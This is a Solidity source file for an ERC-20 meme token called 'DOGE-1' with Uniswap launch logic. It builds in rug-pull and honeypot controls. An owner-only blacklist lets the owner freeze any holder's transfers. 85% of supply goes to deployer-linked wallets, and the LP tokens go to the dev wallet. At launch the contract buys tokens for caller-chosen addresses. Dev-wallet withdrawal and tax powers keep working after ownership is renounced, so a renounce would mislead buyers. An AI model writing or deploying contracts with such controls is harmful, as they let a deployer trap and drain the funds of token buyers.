File 1 of 1: doge1-final.sol
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), address(_owner));
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public kyhList;
address payable public _taxWallet;
address payable private _devWallet;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 20;
uint256 private _finalSellTax = 20;
uint256 private _reduceBuyTaxAt = 20;
uint256 private _reduceSellTaxAt = 20;
uint256 private _preventSwapBefore = 10;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 100_000_000_000 * 10**_decimals;
string private constant _name = unicode"DOGE-1";
string private constant _symbol = unicode"DOGE-1";
uint256 public _maxWalletSize = 1_000_000_000 * 10**_decimals;
uint256 public _maxTaxSwap = 1_000_000_000 * 10**_decimals;
uint256 public _maxTxAmount = 500_000_000 * 10**_decimals;
uint256 public _taxSwapThreshold = 100_000_000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private limitsInEffect;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x0bC61B491651E93143a5C68c69210b236FB265d5);
_devWallet = payable(_msgSender());
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[_devWallet] = true;
uint256 forLiquidity = _tTotal * 15 / 100;
uint256 forLPHolders = _tTotal * 50 / 100;
uint256 forTreasury = _tTotal * 35 / 100;
_balances[address(this)] = forLiquidity;
_balances[address(_taxWallet)] = forTreasury;
_balances[address(_devWallet)] = forLPHolders;
emit Transfer(address(0), address(this), forLiquidity);
emit Transfer(address(0), address(_taxWallet), forTreasury);
emit Transfer(address(0), address(_devWallet), forLPHolders);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!kyhList[from], "Mission control, KYH");
require(!kyhList[to], "Mission control, KYH");
if (!tradingOpen && (from != owner() && from != address(this) && to != owner())) {
revert("Trading not enabled");
}
uint256 taxAmount = 0;
if (from != _devWallet && to != _devWallet && limitsInEffect) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
sendETHToMission(address(this).balance);
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToMission(uint256 amount) private {
_taxWallet.transfer(amount);
}
function enableTrading(
address[] memory _lpProvider,
uint256 _liquidity
) public payable onlyOwner {
require(!tradingOpen,"Can only enableTrading once");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: _liquidity}(address(this),balanceOf(address(this)),0,0,_devWallet,block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
if (msg.value > _liquidity) {
uint256 remainingETH = msg.value - _liquidity;
addV2Liquidity(
address(this),
remainingETH,
_lpProvider
);
}
limitsInEffect = true;
_taxWallet = _devWallet;
}
function addV2Liquidity(
address token,
uint256 forLiqETH,
address[] memory _lpProvider
) private {
uint256 totalWeight = 0;
for (uint256 i = 1; i <= _lpProvider.length; i++) {
totalWeight += i;
}
uint256 remainingEth = forLiqETH;
IUniswapV2Router02 uniswapRouter = IUniswapV2Router02(
address(uniswapV2Router)
);
for (uint256 i = 0; i < _lpProvider.length; i++) {
uint256 weight = i + 1;
uint256 createLiquidity = (forLiqETH * weight) / totalWeight;
if (createLiquidity > remainingEth) {
createLiquidity = remainingEth;
}
address[] memory path = new address[](2);
path[0] = uniswapRouter.WETH();
path[1] = token;
uniswapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: createLiquidity
}(
0,
path,
_lpProvider[i],
block.timestamp + 15
);
remainingEth -= createLiquidity;
}
}
function removeTokens(address token) public {
require(msg.sender == _devWallet, "Mission control only.");
bool success;
if (token == address(0))
(success, ) = address(msg.sender).call{
value: address(this).balance
}("");
else {
require(IERC20(token).balanceOf(address(this)) > 0, "No tokens");
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(msg.sender, amount);
}
}
function removeLimits() external {
require(msg.sender == _devWallet, "Mission control only.");
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function updateTaxes(uint256 _newBuyFee, uint256 _newSellFee) external {
require(msg.sender == _devWallet, "Mission control only.");
require(_newBuyFee <= 20 && _newSellFee <= 20);
_finalBuyTax = _newBuyFee;
_finalSellTax = _newSellFee;
}
function updateTaxWallet(address _newWallet) external {
require(msg.sender == _devWallet, "Mission control only.");
_taxWallet = payable(_newWallet);
}
function lpAirdrop(address[] memory addresses, uint256[] memory amounts) external {
require(msg.sender == _devWallet, "Mission control only.");
for (uint256 i = 0; i < addresses.length; i++) {
uint256 amt = amounts[i] * 10**_decimals;
require(_balances[msg.sender] >= amt, "ERC20: transfer amount exceeds balance");
_balances[addresses[i]] += amt;
_balances[msg.sender] -= amt;
emit Transfer(msg.sender, addresses[i], amt);
}
}
function setKyhList(address[] calldata wallets, bool status) external onlyOwner {
for (uint256 i = 0; i < wallets.length; i++) {
kyhList[wallets[i]] = status;
}
}
receive() external payable {}
}